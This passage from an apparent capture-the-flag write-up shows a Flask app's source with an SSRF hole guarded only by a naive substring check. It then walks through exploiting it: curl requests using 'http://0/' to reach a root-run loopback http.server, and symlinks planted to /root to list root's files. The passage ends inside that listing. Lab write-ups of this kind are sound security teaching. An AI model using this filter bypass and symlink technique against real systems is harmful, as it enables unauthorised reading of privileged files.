    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;www&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;We are currently trying to take pictures as a URL too&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/upload&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;upload_file&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;file&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No file part&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;file&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No selected file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;secure_filename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;file_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;UPLOAD_FOLDER&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_image&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gallery&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Uploaded file is not an image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/uploads/&amp;lt;filename&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;download_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;send_from_directory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;UPLOAD_FOLDER&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/dejaview&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;view.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/view_image&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;view_image&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;image_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;image_url&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;www&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_local&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;view.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;image_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;image_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/contact&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;contact&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;contact.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/feedback&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;feedback&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;message&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Received feedback from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;): &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;feedback_response.html&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirms exactly what was reverse-engineered from the outside: &lt;code&gt;image_url&lt;/code&gt; is cosmetic, &lt;code&gt;www&lt;/code&gt; is the real SSRF sink, and &lt;code&gt;is_local()&lt;/code&gt; is a naive substring check.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'user.txt'&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/beth/__pycache__/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/beth/__pycache__/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Confirming the Internal Server Runs as Root
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;tcp   LISTEN 0 128            0.0.0.0:8080         0.0.0.0:*
tcp   LISTEN 0   5          127.0.0.1:80           0.0.0.0:*
tcp   LISTEN 0 128            0.0.0.0:22            0.0.0.0:*
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;root         1  0.0  0.4 159468  8808 ?        Ss   19:32   0:01 /sbin/init noprompt
root       447  0.4  0.8  56956 17300 ?        Ss   19:32   0:14 /usr/bin/python3 -m http.server 80 --bind 127.0.0.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The internal service the SSRF reaches on port 80 is a stock &lt;code&gt;python3 -m http.server&lt;/code&gt; &lt;strong&gt;running as root&lt;/strong&gt;, bound only to loopback. Since it's root, it can (and does) serve files regardless of the filesystem's normal Unix read permissions on the directory it's rooted in - and since it's loopback-only, the app's SSRF is the only way to reach it from outside.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/charles/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls: cannot open directory '/home/charles/': Permission denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Directly, &lt;code&gt;beth&lt;/code&gt; can't read &lt;code&gt;charles&lt;/code&gt;'s home directory. But the SSRF into the root-run server sidesteps that entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reading Root-Owned Files Without a Root Shell (Symlink + SSRF)
&lt;/h2&gt;

&lt;p&gt;The root http.server serves whatever directory it was started in (beth's home). Symlinks placed inside that directory get followed and served with root's read access - so instead of trying to escalate to an actual root shell, we can just point the server at whatever we want to read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /root/root.txt root_flag_link
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/root_flag_link'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;404 - Nothing matches the given URI.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;root.txt&lt;/code&gt; at that exact path doesn't exist - checked with a directory symlink instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /root root_dir_link
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'www=http://0/root_dir_link/'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Directory listing for /root_dir_link/&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".bash_history"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.bash_history@&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".bashrc"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.bashrc&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".cache/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.cache/&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".gnupg/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.gnupg/&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".local/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.local/&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".profile"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.profile&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".root.txt"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.root.txt&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;".selected_editor"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;.selected_editor&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"__pycache__/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;__pycache__/&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"flag.py"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;flag.py&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;
